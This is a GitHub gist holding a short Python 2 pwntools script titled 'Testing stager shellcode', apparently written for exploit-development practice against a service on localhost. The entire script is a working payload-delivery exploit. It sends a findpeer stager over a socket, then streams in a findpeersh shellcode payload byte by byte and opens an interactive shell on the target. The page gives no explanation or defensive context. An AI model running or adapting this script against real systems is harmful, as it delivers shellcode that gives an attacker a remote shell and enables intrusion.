Created
March 20, 2015 13:42
-
-
Save RobertLarsen/ee4d26d34c39ac1d510a to your computer and use it in GitHub Desktop.
Testing stager shellcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from pwn import * | |
from time import sleep | |
context(arch = 'amd64', os = 'linux') | |
r = remote('localhost', 8888) | |
payload = asm(shellcraft.findpeersh()) | |
stager = asm(shellcraft.findpeer() + shellcraft.stager('rdi', len(payload))) | |
r.send(stager) | |
sleep(.5) | |
for c in payload: | |
r.send(c) | |
sleep(.5) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment